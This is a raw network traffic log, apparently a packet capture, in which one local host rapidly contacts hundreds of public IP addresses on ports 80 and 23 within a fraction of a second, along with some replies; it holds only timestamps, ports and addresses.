Feb 4, 2025 18:17:35.393163919 CET	46308	80	192.168.2.23	20.119.8.180
Feb 4, 2025 18:17:35.393163919 CET	46308	80	192.168.2.23	196.40.178.246
Feb 4, 2025 18:17:35.393165112 CET	46308	80	192.168.2.23	87.207.212.122
Feb 4, 2025 18:17:35.393165112 CET	46308	80	192.168.2.23	71.247.89.7
Feb 4, 2025 18:17:35.393165112 CET	46308	80	192.168.2.23	142.49.240.21
Feb 4, 2025 18:17:35.393166065 CET	46308	80	192.168.2.23	1.161.147.231
Feb 4, 2025 18:17:35.393168926 CET	46308	80	192.168.2.23	60.171.131.76
Feb 4, 2025 18:17:35.393168926 CET	46308	80	192.168.2.23	133.139.162.136
Feb 4, 2025 18:17:35.393179893 CET	46308	80	192.168.2.23	94.169.216.138
Feb 4, 2025 18:17:35.393181086 CET	46308	80	192.168.2.23	114.57.185.4
Feb 4, 2025 18:17:35.393181086 CET	46308	80	192.168.2.23	68.63.142.29
Feb 4, 2025 18:17:35.393181086 CET	46308	80	192.168.2.23	50.255.58.245
Feb 4, 2025 18:17:35.393182993 CET	46308	80	192.168.2.23	140.48.98.90
Feb 4, 2025 18:17:35.393182993 CET	46308	80	192.168.2.23	111.18.129.130
Feb 4, 2025 18:17:35.393184900 CET	46308	80	192.168.2.23	71.213.106.42
Feb 4, 2025 18:17:35.393186092 CET	46308	80	192.168.2.23	142.101.150.166
Feb 4, 2025 18:17:35.393186092 CET	46308	80	192.168.2.23	149.107.229.58
Feb 4, 2025 18:17:35.393186092 CET	46308	80	192.168.2.23	177.44.26.252
Feb 4, 2025 18:17:35.393186092 CET	46308	80	192.168.2.23	102.182.98.83
Feb 4, 2025 18:17:35.393207073 CET	46308	80	192.168.2.23	142.69.89.111
Feb 4, 2025 18:17:35.393207073 CET	46308	80	192.168.2.23	97.34.98.74
Feb 4, 2025 18:17:35.393207073 CET	46308	80	192.168.2.23	97.228.12.228
Feb 4, 2025 18:17:35.393207073 CET	46308	80	192.168.2.23	137.88.18.190
Feb 4, 2025 18:17:35.393207073 CET	46308	80	192.168.2.23	58.136.21.62
Feb 4, 2025 18:17:35.393207073 CET	46308	80	192.168.2.23	74.41.162.19
Feb 4, 2025 18:17:35.393210888 CET	46308	80	192.168.2.23	93.203.148.59
Feb 4, 2025 18:17:35.393210888 CET	46308	80	192.168.2.23	51.27.202.64
Feb 4, 2025 18:17:35.393210888 CET	46308	80	192.168.2.23	100.3.136.25
Feb 4, 2025 18:17:35.393223047 CET	46308	80	192.168.2.23	75.128.227.138
Feb 4, 2025 18:17:35.393225908 CET	46308	80	192.168.2.23	156.184.237.111
Feb 4, 2025 18:17:35.393225908 CET	46308	80	192.168.2.23	216.71.233.165
Feb 4, 2025 18:17:35.393227100 CET	46308	80	192.168.2.23	1.32.77.192
Feb 4, 2025 18:17:35.393225908 CET	46308	80	192.168.2.23	147.28.115.147
Feb 4, 2025 18:17:35.393228054 CET	46308	80	192.168.2.23	12.180.216.13
Feb 4, 2025 18:17:35.393227100 CET	46308	80	192.168.2.23	80.97.157.220
Feb 4, 2025 18:17:35.393228054 CET	46308	80	192.168.2.23	201.201.80.178
Feb 4, 2025 18:17:35.393229961 CET	46308	80	192.168.2.23	140.121.58.73
Feb 4, 2025 18:17:35.393229961 CET	46308	80	192.168.2.23	74.156.235.98
Feb 4, 2025 18:17:35.393230915 CET	46308	80	192.168.2.23	141.171.171.133
Feb 4, 2025 18:17:35.393237114 CET	46308	80	192.168.2.23	19.62.206.159
Feb 4, 2025 18:17:35.393237114 CET	46308	80	192.168.2.23	91.178.17.254
Feb 4, 2025 18:17:35.393237114 CET	46308	80	192.168.2.23	160.230.155.158
Feb 4, 2025 18:17:35.393248081 CET	46308	80	192.168.2.23	57.204.135.163
Feb 4, 2025 18:17:35.393249989 CET	46308	80	192.168.2.23	204.31.234.36
Feb 4, 2025 18:17:35.393249989 CET	46308	80	192.168.2.23	52.10.249.242
Feb 4, 2025 18:17:35.393249989 CET	46308	80	192.168.2.23	115.168.7.94
Feb 4, 2025 18:17:35.393249989 CET	46308	80	192.168.2.23	82.165.169.132
Feb 4, 2025 18:17:35.398233891 CET	80	46308	192.126.86.49	192.168.2.23
Feb 4, 2025 18:17:35.398252964 CET	80	46308	96.249.104.4	192.168.2.23
Feb 4, 2025 18:17:35.398260117 CET	80	46308	62.103.62.232	192.168.2.23
Feb 4, 2025 18:17:35.398267031 CET	80	46308	222.56.47.130	192.168.2.23
Feb 4, 2025 18:17:35.398272991 CET	80	46308	74.179.26.36	192.168.2.23
Feb 4, 2025 18:17:35.398277998 CET	80	46308	140.98.137.133	192.168.2.23
Feb 4, 2025 18:17:35.398282051 CET	80	46308	223.26.208.122	192.168.2.23
Feb 4, 2025 18:17:35.398293018 CET	80	46308	220.1.67.106	192.168.2.23
Feb 4, 2025 18:17:35.398298025 CET	80	46308	151.108.222.16	192.168.2.23
Feb 4, 2025 18:17:35.398310900 CET	46308	80	192.168.2.23	192.126.86.49
Feb 4, 2025 18:17:35.398325920 CET	46308	80	192.168.2.23	140.98.137.133
Feb 4, 2025 18:17:35.398325920 CET	46308	80	192.168.2.23	151.108.222.16
Feb 4, 2025 18:17:35.398341894 CET	46308	80	192.168.2.23	222.56.47.130
Feb 4, 2025 18:17:35.398341894 CET	46308	80	192.168.2.23	74.179.26.36
Feb 4, 2025 18:17:35.398344994 CET	46308	80	192.168.2.23	62.103.62.232
Feb 4, 2025 18:17:35.398349047 CET	46308	80	192.168.2.23	223.26.208.122
Feb 4, 2025 18:17:35.398349047 CET	46308	80	192.168.2.23	220.1.67.106
Feb 4, 2025 18:17:35.398349047 CET	80	46308	208.26.96.56	192.168.2.23
Feb 4, 2025 18:17:35.398351908 CET	46308	80	192.168.2.23	96.249.104.4
Feb 4, 2025 18:17:35.398356915 CET	80	46308	177.252.48.37	192.168.2.23
Feb 4, 2025 18:17:35.398369074 CET	80	46308	202.91.232.13	192.168.2.23
Feb 4, 2025 18:17:35.398372889 CET	80	46308	158.255.135.132	192.168.2.23
Feb 4, 2025 18:17:35.398377895 CET	80	46308	108.135.171.38	192.168.2.23
Feb 4, 2025 18:17:35.398382902 CET	80	46308	116.223.199.40	192.168.2.23
Feb 4, 2025 18:17:35.398394108 CET	80	46308	153.61.226.185	192.168.2.23
Feb 4, 2025 18:17:35.398401022 CET	80	46308	186.51.207.144	192.168.2.23
Feb 4, 2025 18:17:35.398403883 CET	46308	80	192.168.2.23	208.26.96.56
Feb 4, 2025 18:17:35.398410082 CET	80	46308	65.106.31.190	192.168.2.23
Feb 4, 2025 18:17:35.398416042 CET	80	46308	48.109.120.111	192.168.2.23
Feb 4, 2025 18:17:35.398418903 CET	46308	80	192.168.2.23	177.252.48.37
Feb 4, 2025 18:17:35.398418903 CET	46308	80	192.168.2.23	116.223.199.40
Feb 4, 2025 18:17:35.398420095 CET	80	46308	155.84.9.138	192.168.2.23
Feb 4, 2025 18:17:35.398423910 CET	46308	80	192.168.2.23	202.91.232.13
Feb 4, 2025 18:17:35.398425102 CET	80	46308	134.59.130.136	192.168.2.23
Feb 4, 2025 18:17:35.398430109 CET	46308	80	192.168.2.23	158.255.135.132
Feb 4, 2025 18:17:35.398430109 CET	46308	80	192.168.2.23	108.135.171.38
Feb 4, 2025 18:17:35.398430109 CET	46308	80	192.168.2.23	153.61.226.185
Feb 4, 2025 18:17:35.398439884 CET	80	46308	42.73.2.33	192.168.2.23
Feb 4, 2025 18:17:35.398444891 CET	80	46308	94.5.253.21	192.168.2.23
Feb 4, 2025 18:17:35.398444891 CET	46308	80	192.168.2.23	65.106.31.190
Feb 4, 2025 18:17:35.398444891 CET	46308	80	192.168.2.23	155.84.9.138
Feb 4, 2025 18:17:35.398449898 CET	80	46308	87.200.167.140	192.168.2.23
Feb 4, 2025 18:17:35.398454905 CET	80	46308	76.217.228.141	192.168.2.23
Feb 4, 2025 18:17:35.398454905 CET	46308	80	192.168.2.23	134.59.130.136
Feb 4, 2025 18:17:35.398458958 CET	80	46308	77.92.135.131	192.168.2.23
Feb 4, 2025 18:17:35.398463964 CET	80	46308	80.61.91.32	192.168.2.23
Feb 4, 2025 18:17:35.398464918 CET	46308	80	192.168.2.23	48.109.120.111
Feb 4, 2025 18:17:35.398467064 CET	46308	80	192.168.2.23	186.51.207.144
Feb 4, 2025 18:17:35.398468018 CET	80	46308	139.138.146.34	192.168.2.23
Feb 4, 2025 18:17:35.398467064 CET	46308	80	192.168.2.23	42.73.2.33
Feb 4, 2025 18:17:35.398478031 CET	46308	80	192.168.2.23	76.217.228.141
Feb 4, 2025 18:17:35.398478031 CET	80	46308	100.189.171.198	192.168.2.23
Feb 4, 2025 18:17:35.398478031 CET	46308	80	192.168.2.23	77.92.135.131
Feb 4, 2025 18:17:35.398478031 CET	46308	80	192.168.2.23	94.5.253.21
Feb 4, 2025 18:17:35.398490906 CET	80	46308	85.247.59.168	192.168.2.23
Feb 4, 2025 18:17:35.398500919 CET	80	46308	154.158.81.108	192.168.2.23
Feb 4, 2025 18:17:35.398504972 CET	80	46308	86.73.243.209	192.168.2.23
Feb 4, 2025 18:17:35.398515940 CET	80	46308	138.59.44.202	192.168.2.23
Feb 4, 2025 18:17:35.398519993 CET	80	46308	50.16.12.85	192.168.2.23
Feb 4, 2025 18:17:35.398524046 CET	80	46308	1.36.195.93	192.168.2.23
Feb 4, 2025 18:17:35.398528099 CET	80	46308	39.119.57.107	192.168.2.23
Feb 4, 2025 18:17:35.398541927 CET	46308	80	192.168.2.23	87.200.167.140
Feb 4, 2025 18:17:35.398597956 CET	46308	80	192.168.2.23	139.138.146.34
Feb 4, 2025 18:17:35.398597956 CET	46308	80	192.168.2.23	1.36.195.93
Feb 4, 2025 18:17:35.398608923 CET	46308	80	192.168.2.23	100.189.171.198
Feb 4, 2025 18:17:35.398610115 CET	46308	80	192.168.2.23	80.61.91.32
Feb 4, 2025 18:17:35.398610115 CET	46308	80	192.168.2.23	39.119.57.107
Feb 4, 2025 18:17:35.398610115 CET	46308	80	192.168.2.23	85.247.59.168
Feb 4, 2025 18:17:35.398611069 CET	46308	80	192.168.2.23	154.158.81.108
Feb 4, 2025 18:17:35.398612976 CET	46308	80	192.168.2.23	50.16.12.85
Feb 4, 2025 18:17:35.398612976 CET	46308	80	192.168.2.23	138.59.44.202
Feb 4, 2025 18:17:35.398612976 CET	46308	80	192.168.2.23	86.73.243.209
Feb 4, 2025 18:17:35.398943901 CET	80	46308	86.136.224.145	192.168.2.23
Feb 4, 2025 18:17:35.398950100 CET	80	46308	40.68.156.77	192.168.2.23
Feb 4, 2025 18:17:35.398962975 CET	80	46308	216.195.195.74	192.168.2.23
Feb 4, 2025 18:17:35.398967981 CET	80	46308	193.23.71.140	192.168.2.23
Feb 4, 2025 18:17:35.398977041 CET	80	46308	111.108.32.36	192.168.2.23
Feb 4, 2025 18:17:35.398981094 CET	80	46308	185.28.239.174	192.168.2.23
Feb 4, 2025 18:17:35.398984909 CET	80	46308	211.20.84.113	192.168.2.23
Feb 4, 2025 18:17:35.398989916 CET	80	46308	198.228.165.122	192.168.2.23
Feb 4, 2025 18:17:35.398996115 CET	46308	80	192.168.2.23	86.136.224.145
Feb 4, 2025 18:17:35.399003983 CET	80	46308	86.200.83.70	192.168.2.23
Feb 4, 2025 18:17:35.399007082 CET	46308	80	192.168.2.23	185.28.239.174
Feb 4, 2025 18:17:35.399008989 CET	80	46308	184.46.243.237	192.168.2.23
Feb 4, 2025 18:17:35.399013996 CET	80	46308	131.21.240.55	192.168.2.23
Feb 4, 2025 18:17:35.399018049 CET	80	46308	121.167.98.74	192.168.2.23
Feb 4, 2025 18:17:35.399023056 CET	80	46308	159.12.16.39	192.168.2.23
Feb 4, 2025 18:17:35.399024010 CET	46308	80	192.168.2.23	40.68.156.77
Feb 4, 2025 18:17:35.399024010 CET	46308	80	192.168.2.23	216.195.195.74
Feb 4, 2025 18:17:35.399028063 CET	80	46308	97.163.222.14	192.168.2.23
Feb 4, 2025 18:17:35.399032116 CET	80	46308	188.151.165.121	192.168.2.23
Feb 4, 2025 18:17:35.399032116 CET	46308	80	192.168.2.23	111.108.32.36
Feb 4, 2025 18:17:35.399032116 CET	46308	80	192.168.2.23	198.228.165.122
Feb 4, 2025 18:17:35.399036884 CET	80	46308	47.22.162.58	192.168.2.23
Feb 4, 2025 18:17:35.399038076 CET	46308	80	192.168.2.23	211.20.84.113
Feb 4, 2025 18:17:35.399040937 CET	80	46308	125.121.52.103	192.168.2.23
Feb 4, 2025 18:17:35.399041891 CET	46308	80	192.168.2.23	86.200.83.70
Feb 4, 2025 18:17:35.399041891 CET	46308	80	192.168.2.23	184.46.243.237
Feb 4, 2025 18:17:35.399041891 CET	46308	80	192.168.2.23	131.21.240.55
Feb 4, 2025 18:17:35.399044991 CET	80	46308	187.12.121.131	192.168.2.23
Feb 4, 2025 18:17:35.399049997 CET	80	46308	58.45.246.240	192.168.2.23
Feb 4, 2025 18:17:35.399053097 CET	46308	80	192.168.2.23	121.167.98.74
Feb 4, 2025 18:17:35.399055004 CET	80	46308	172.152.8.158	192.168.2.23
Feb 4, 2025 18:17:35.399055004 CET	46308	80	192.168.2.23	193.23.71.140
Feb 4, 2025 18:17:35.399060011 CET	80	46308	79.47.247.29	192.168.2.23
Feb 4, 2025 18:17:35.399065018 CET	80	46308	165.48.146.178	192.168.2.23
Feb 4, 2025 18:17:35.399071932 CET	46308	80	192.168.2.23	188.151.165.121
Feb 4, 2025 18:17:35.399072886 CET	46308	80	192.168.2.23	125.121.52.103
Feb 4, 2025 18:17:35.399075985 CET	46308	80	192.168.2.23	187.12.121.131
Feb 4, 2025 18:17:35.399079084 CET	80	46308	39.156.146.242	192.168.2.23
Feb 4, 2025 18:17:35.399082899 CET	80	46308	71.46.78.230	192.168.2.23
Feb 4, 2025 18:17:35.399086952 CET	80	46308	90.106.11.213	192.168.2.23
Feb 4, 2025 18:17:35.399087906 CET	46308	80	192.168.2.23	58.45.246.240
Feb 4, 2025 18:17:35.399095058 CET	80	46308	163.190.140.233	192.168.2.23
Feb 4, 2025 18:17:35.399099112 CET	80	46308	102.132.116.52	192.168.2.23
Feb 4, 2025 18:17:35.399104118 CET	80	46308	213.250.194.11	192.168.2.23
Feb 4, 2025 18:17:35.399106979 CET	46308	80	192.168.2.23	159.12.16.39
Feb 4, 2025 18:17:35.399112940 CET	46308	80	192.168.2.23	39.156.146.242
Feb 4, 2025 18:17:35.399127007 CET	46308	80	192.168.2.23	102.132.116.52
Feb 4, 2025 18:17:35.399135113 CET	46308	80	192.168.2.23	163.190.140.233
Feb 4, 2025 18:17:35.399144888 CET	46308	80	192.168.2.23	97.163.222.14
Feb 4, 2025 18:17:35.399146080 CET	46308	80	192.168.2.23	213.250.194.11
Feb 4, 2025 18:17:35.399159908 CET	46308	80	192.168.2.23	47.22.162.58
Feb 4, 2025 18:17:35.399178982 CET	46308	80	192.168.2.23	172.152.8.158
Feb 4, 2025 18:17:35.399198055 CET	46308	80	192.168.2.23	79.47.247.29
Feb 4, 2025 18:17:35.399204969 CET	46308	80	192.168.2.23	165.48.146.178
Feb 4, 2025 18:17:35.399214029 CET	46308	80	192.168.2.23	71.46.78.230
Feb 4, 2025 18:17:35.399241924 CET	46308	80	192.168.2.23	90.106.11.213
Feb 4, 2025 18:17:35.399478912 CET	80	46308	38.20.10.4	192.168.2.23
Feb 4, 2025 18:17:35.399485111 CET	80	46308	63.155.228.179	192.168.2.23
Feb 4, 2025 18:17:35.399494886 CET	80	46308	194.253.105.22	192.168.2.23
Feb 4, 2025 18:17:35.399499893 CET	80	46308	154.248.139.197	192.168.2.23
Feb 4, 2025 18:17:35.399508953 CET	80	46308	19.79.65.15	192.168.2.23
Feb 4, 2025 18:17:35.399513960 CET	80	46308	208.97.62.116	192.168.2.23
Feb 4, 2025 18:17:35.399518013 CET	80	46308	211.168.206.102	192.168.2.23
Feb 4, 2025 18:17:35.399527073 CET	80	46308	208.88.96.4	192.168.2.23
Feb 4, 2025 18:17:35.399529934 CET	46308	80	192.168.2.23	38.20.10.4
Feb 4, 2025 18:17:35.399529934 CET	46308	80	192.168.2.23	194.253.105.22
Feb 4, 2025 18:17:35.399530888 CET	46308	80	192.168.2.23	63.155.228.179
Feb 4, 2025 18:17:35.399533033 CET	80	46308	62.52.74.27	192.168.2.23
Feb 4, 2025 18:17:35.399538040 CET	80	46308	40.250.122.174	192.168.2.23
Feb 4, 2025 18:17:35.399553061 CET	46308	80	192.168.2.23	154.248.139.197
Feb 4, 2025 18:17:35.399553061 CET	80	46308	126.213.48.158	192.168.2.23
Feb 4, 2025 18:17:35.399574041 CET	46308	80	192.168.2.23	19.79.65.15
Feb 4, 2025 18:17:35.399574041 CET	46308	80	192.168.2.23	208.97.62.116
Feb 4, 2025 18:17:35.399580002 CET	46308	80	192.168.2.23	211.168.206.102
Feb 4, 2025 18:17:35.399580956 CET	80	46308	160.168.18.227	192.168.2.23
Feb 4, 2025 18:17:35.399586916 CET	80	46308	139.110.215.30	192.168.2.23
Feb 4, 2025 18:17:35.399590969 CET	80	46308	129.143.47.241	192.168.2.23
Feb 4, 2025 18:17:35.399595976 CET	80	46308	147.113.242.192	192.168.2.23
Feb 4, 2025 18:17:35.399596930 CET	46308	80	192.168.2.23	62.52.74.27
Feb 4, 2025 18:17:35.399600029 CET	80	46308	17.74.174.36	192.168.2.23
Feb 4, 2025 18:17:35.399601936 CET	46308	80	192.168.2.23	208.88.96.4
Feb 4, 2025 18:17:35.399605036 CET	80	46308	81.71.196.193	192.168.2.23
Feb 4, 2025 18:17:35.399605036 CET	46308	80	192.168.2.23	160.168.18.227
Feb 4, 2025 18:17:35.399605989 CET	46308	80	192.168.2.23	126.213.48.158
Feb 4, 2025 18:17:35.399609089 CET	80	46308	42.53.134.206	192.168.2.23
Feb 4, 2025 18:17:35.399614096 CET	80	46308	84.80.19.214	192.168.2.23
Feb 4, 2025 18:17:35.399621010 CET	46308	80	192.168.2.23	147.113.242.192
Feb 4, 2025 18:17:35.399621010 CET	46308	80	192.168.2.23	40.250.122.174
Feb 4, 2025 18:17:35.399621010 CET	46308	80	192.168.2.23	139.110.215.30
Feb 4, 2025 18:17:35.399622917 CET	46308	80	192.168.2.23	129.143.47.241
Feb 4, 2025 18:17:35.399624109 CET	80	46308	196.0.86.188	192.168.2.23
Feb 4, 2025 18:17:35.399630070 CET	80	46308	5.188.116.215	192.168.2.23
Feb 4, 2025 18:17:35.399631023 CET	46308	80	192.168.2.23	81.71.196.193
Feb 4, 2025 18:17:35.399632931 CET	46308	80	192.168.2.23	17.74.174.36
Feb 4, 2025 18:17:35.399641037 CET	80	46308	175.45.20.117	192.168.2.23
Feb 4, 2025 18:17:35.399642944 CET	46308	80	192.168.2.23	42.53.134.206
Feb 4, 2025 18:17:35.399646997 CET	80	46308	133.194.61.95	192.168.2.23
Feb 4, 2025 18:17:35.399656057 CET	80	46308	203.4.29.228	192.168.2.23
Feb 4, 2025 18:17:35.399661064 CET	80	46308	19.205.249.2	192.168.2.23
Feb 4, 2025 18:17:35.399662018 CET	46308	80	192.168.2.23	84.80.19.214
Feb 4, 2025 18:17:35.399666071 CET	80	46308	68.133.14.141	192.168.2.23
Feb 4, 2025 18:17:35.399674892 CET	46308	80	192.168.2.23	5.188.116.215
Feb 4, 2025 18:17:35.399676085 CET	46308	80	192.168.2.23	196.0.86.188
Feb 4, 2025 18:17:35.399676085 CET	46308	80	192.168.2.23	133.194.61.95
Feb 4, 2025 18:17:35.399681091 CET	46308	80	192.168.2.23	175.45.20.117
Feb 4, 2025 18:17:35.399682045 CET	80	46308	42.57.193.245	192.168.2.23
Feb 4, 2025 18:17:35.399683952 CET	46308	80	192.168.2.23	203.4.29.228
Feb 4, 2025 18:17:35.399688959 CET	80	46308	197.9.167.245	192.168.2.23
Feb 4, 2025 18:17:35.399691105 CET	46308	80	192.168.2.23	19.205.249.2
Feb 4, 2025 18:17:35.399694920 CET	80	46308	102.208.218.20	192.168.2.23
Feb 4, 2025 18:17:35.399699926 CET	80	46308	195.72.189.228	192.168.2.23
Feb 4, 2025 18:17:35.399704933 CET	80	46308	100.42.6.82	192.168.2.23
Feb 4, 2025 18:17:35.399704933 CET	46308	80	192.168.2.23	68.133.14.141
Feb 4, 2025 18:17:35.399734974 CET	46308	80	192.168.2.23	102.208.218.20
Feb 4, 2025 18:17:35.399734020 CET	46308	80	192.168.2.23	42.57.193.245
Feb 4, 2025 18:17:35.399734020 CET	46308	80	192.168.2.23	195.72.189.228
Feb 4, 2025 18:17:35.399743080 CET	46308	80	192.168.2.23	100.42.6.82
Feb 4, 2025 18:17:35.399750948 CET	46308	80	192.168.2.23	197.9.167.245
Feb 4, 2025 18:17:35.401484966 CET	47076	23	192.168.2.23	4.90.223.98
Feb 4, 2025 18:17:35.401493073 CET	47076	23	192.168.2.23	34.89.160.235
Feb 4, 2025 18:17:35.401493073 CET	47076	23	192.168.2.23	98.102.250.164
Feb 4, 2025 18:17:35.401504040 CET	47076	23	192.168.2.23	44.7.134.54
Feb 4, 2025 18:17:35.401510000 CET	47076	23	192.168.2.23	210.234.234.21
Feb 4, 2025 18:17:35.401515007 CET	47076	23	192.168.2.23	73.210.111.151
Feb 4, 2025 18:17:35.401515961 CET	47076	23	192.168.2.23	184.226.101.185
Feb 4, 2025 18:17:35.401539087 CET	47076	23	192.168.2.23	192.251.196.46
Feb 4, 2025 18:17:35.401540041 CET	47076	23	192.168.2.23	149.123.64.223
Feb 4, 2025 18:17:35.401544094 CET	47076	23	192.168.2.23	205.53.249.178
Feb 4, 2025 18:17:35.401551008 CET	47076	23	192.168.2.23	141.230.224.250
Feb 4, 2025 18:17:35.401557922 CET	47076	23	192.168.2.23	83.42.102.22
Feb 4, 2025 18:17:35.401562929 CET	47076	23	192.168.2.23	98.108.106.36
Feb 4, 2025 18:17:35.401568890 CET	47076	23	192.168.2.23	143.254.250.222
Feb 4, 2025 18:17:35.401570082 CET	47076	23	192.168.2.23	105.46.124.65
Feb 4, 2025 18:17:35.401571989 CET	47076	23	192.168.2.23	75.153.158.90
Feb 4, 2025 18:17:35.401576042 CET	47076	23	192.168.2.23	190.69.19.105
Feb 4, 2025 18:17:35.401588917 CET	47076	23	192.168.2.23	125.136.81.178
Feb 4, 2025 18:17:35.401588917 CET	47076	23	192.168.2.23	27.61.186.200
Feb 4, 2025 18:17:35.401591063 CET	47076	23	192.168.2.23	131.71.115.253
Feb 4, 2025 18:17:35.401592970 CET	47076	23	192.168.2.23	96.255.96.63
Feb 4, 2025 18:17:35.401604891 CET	47076	23	192.168.2.23	181.112.122.92
Feb 4, 2025 18:17:35.401623011 CET	47076	23	192.168.2.23	182.30.190.93
Feb 4, 2025 18:17:35.401623964 CET	47076	23	192.168.2.23	159.70.246.216
Feb 4, 2025 18:17:35.401623011 CET	47076	23	192.168.2.23	141.93.66.98
Feb 4, 2025 18:17:35.401623964 CET	47076	23	192.168.2.23	69.248.54.251
Feb 4, 2025 18:17:35.401623011 CET	47076	23	192.168.2.23	61.54.171.123
Feb 4, 2025 18:17:35.401632071 CET	47076	23	192.168.2.23	51.254.19.56
Feb 4, 2025 18:17:35.401632071 CET	47076	23	192.168.2.23	146.21.95.181
Feb 4, 2025 18:17:35.401654005 CET	47076	23	192.168.2.23	76.200.24.42
Feb 4, 2025 18:17:35.401654005 CET	47076	23	192.168.2.23	14.167.104.190
Feb 4, 2025 18:17:35.401654959 CET	47076	23	192.168.2.23	88.189.222.31
Feb 4, 2025 18:17:35.401654959 CET	47076	23	192.168.2.23	51.105.120.68
Feb 4, 2025 18:17:35.401659966 CET	47076	23	192.168.2.23	79.40.74.175
Feb 4, 2025 18:17:35.401663065 CET	47076	23	192.168.2.23	145.243.121.143
Feb 4, 2025 18:17:35.401673079 CET	47076	23	192.168.2.23	131.249.143.90
Feb 4, 2025 18:17:35.401673079 CET	47076	23	192.168.2.23	149.188.9.161
Feb 4, 2025 18:17:35.401674986 CET	47076	23	192.168.2.23	169.244.167.142
Feb 4, 2025 18:17:35.401674986 CET	47076	23	192.168.2.23	132.140.82.194
Feb 4, 2025 18:17:35.401690006 CET	47076	23	192.168.2.23	25.74.191.130
Feb 4, 2025 18:17:35.401690006 CET	47076	23	192.168.2.23	194.202.199.131
Feb 4, 2025 18:17:35.401696920 CET	47076	23	192.168.2.23	198.4.26.80
Feb 4, 2025 18:17:35.401700974 CET	47076	23	192.168.2.23	191.107.221.131
Feb 4, 2025 18:17:35.401701927 CET	47076	23	192.168.2.23	1.58.246.125
Feb 4, 2025 18:17:35.401710033 CET	47076	23	192.168.2.23	102.183.71.171
Feb 4, 2025 18:17:35.401714087 CET	47076	23	192.168.2.23	84.26.99.162
Feb 4, 2025 18:17:35.401720047 CET	47076	23	192.168.2.23	81.198.5.194
Feb 4, 2025 18:17:35.401726007 CET	47076	23	192.168.2.23	51.223.13.202
Feb 4, 2025 18:17:35.401731968 CET	47076	23	192.168.2.23	79.114.71.7
Feb 4, 2025 18:17:35.401738882 CET	47076	23	192.168.2.23	157.141.150.234
Feb 4, 2025 18:17:35.401741028 CET	47076	23	192.168.2.23	85.132.75.168
Feb 4, 2025 18:17:35.401746988 CET	47076	23	192.168.2.23	98.64.97.45
Feb 4, 2025 18:17:35.401748896 CET	47076	23	192.168.2.23	72.14.28.53
Feb 4, 2025 18:17:35.401751041 CET	47076	23	192.168.2.23	72.3.179.181
Feb 4, 2025 18:17:35.401756048 CET	47076	23	192.168.2.23	173.96.139.45
Feb 4, 2025 18:17:35.401762009 CET	47076	23	192.168.2.23	172.227.31.24
Feb 4, 2025 18:17:35.401768923 CET	47076	23	192.168.2.23	17.194.217.166
Feb 4, 2025 18:17:35.401772022 CET	47076	23	192.168.2.23	149.40.200.20
Feb 4, 2025 18:17:35.401772022 CET	47076	23	192.168.2.23	41.217.62.172
Feb 4, 2025 18:17:35.401778936 CET	47076	23	192.168.2.23	144.169.88.103
Feb 4, 2025 18:17:35.401787996 CET	47076	23	192.168.2.23	12.170.133.250
Feb 4, 2025 18:17:35.401793003 CET	47076	23	192.168.2.23	198.164.85.158
Feb 4, 2025 18:17:35.401814938 CET	47076	23	192.168.2.23	32.26.92.175
Feb 4, 2025 18:17:35.401817083 CET	47076	23	192.168.2.23	180.134.107.123
Feb 4, 2025 18:17:35.401817083 CET	47076	23	192.168.2.23	17.107.40.188
Feb 4, 2025 18:17:35.401824951 CET	47076	23	192.168.2.23	108.100.170.79
Feb 4, 2025 18:17:35.401842117 CET	47076	23	192.168.2.23	155.63.58.36
Feb 4, 2025 18:17:35.401835918 CET	47076	23	192.168.2.23	167.205.190.20
Feb 4, 2025 18:17:35.401835918 CET	47076	23	192.168.2.23	156.234.255.123
Feb 4, 2025 18:17:35.401845932 CET	47076	23	192.168.2.23	146.75.157.151
Feb 4, 2025 18:17:35.401848078 CET	47076	23	192.168.2.23	25.29.228.36
Feb 4, 2025 18:17:35.401848078 CET	47076	23	192.168.2.23	173.106.134.57
Feb 4, 2025 18:17:35.401849985 CET	47076	23	192.168.2.23	92.127.67.49
Feb 4, 2025 18:17:35.401849985 CET	47076	23	192.168.2.23	128.230.106.31
Feb 4, 2025 18:17:35.401851892 CET	47076	23	192.168.2.23	192.65.131.219
Feb 4, 2025 18:17:35.401851892 CET	47076	23	192.168.2.23	217.179.154.45
Feb 4, 2025 18:17:35.401854038 CET	47076	23	192.168.2.23	27.187.250.115
Feb 4, 2025 18:17:35.401873112 CET	47076	23	192.168.2.23	101.226.124.182
Feb 4, 2025 18:17:35.401875973 CET	47076	23	192.168.2.23	73.29.99.30
Feb 4, 2025 18:17:35.401878119 CET	47076	23	192.168.2.23	17.161.222.17
Feb 4, 2025 18:17:35.401878119 CET	47076	23	192.168.2.23	174.178.38.195
Feb 4, 2025 18:17:35.401887894 CET	47076	23	192.168.2.23	218.223.112.103
Feb 4, 2025 18:17:35.401895046 CET	47076	23	192.168.2.23	45.232.162.31
Feb 4, 2025 18:17:35.401895046 CET	47076	23	192.168.2.23	207.115.202.86
Feb 4, 2025 18:17:35.401895046 CET	47076	23	192.168.2.23	209.162.48.139
Feb 4, 2025 18:17:35.401906967 CET	47076	23	192.168.2.23	108.248.123.22
Feb 4, 2025 18:17:35.401918888 CET	47076	23	192.168.2.23	216.69.93.69
Feb 4, 2025 18:17:35.401926041 CET	47076	23	192.168.2.23	204.226.248.43
Feb 4, 2025 18:17:35.401930094 CET	47076	23	192.168.2.23	5.33.231.123
Feb 4, 2025 18:17:35.401932955 CET	47076	23	192.168.2.23	213.151.19.40
Feb 4, 2025 18:17:35.401940107 CET	47076	23	192.168.2.23	51.148.243.133
Feb 4, 2025 18:17:35.401941061 CET	47076	23	192.168.2.23	154.86.90.95
Feb 4, 2025 18:17:35.401947975 CET	47076	23	192.168.2.23	20.216.157.5
Feb 4, 2025 18:17:35.401961088 CET	47076	23	192.168.2.23	188.13.35.170
Feb 4, 2025 18:17:35.401962996 CET	47076	23	192.168.2.23	102.203.198.233
Feb 4, 2025 18:17:35.401974916 CET	47076	23	192.168.2.23	34.103.242.60
Feb 4, 2025 18:17:35.401977062 CET	47076	23	192.168.2.23	174.123.116.102
Feb 4, 2025 18:17:35.401984930 CET	47076	23	192.168.2.23	68.143.65.119
Feb 4, 2025 18:17:35.401988029 CET	47076	23	192.168.2.23	153.252.36.56
Feb 4, 2025 18:17:35.401988983 CET	47076	23	192.168.2.23	179.96.160.215
Feb 4, 2025 18:17:35.402004004 CET	47076	23	192.168.2.23	74.25.31.92
Feb 4, 2025 18:17:35.402004004 CET	47076	23	192.168.2.23	8.28.195.19
Feb 4, 2025 18:17:35.402015924 CET	47076	23	192.168.2.23	42.212.86.57
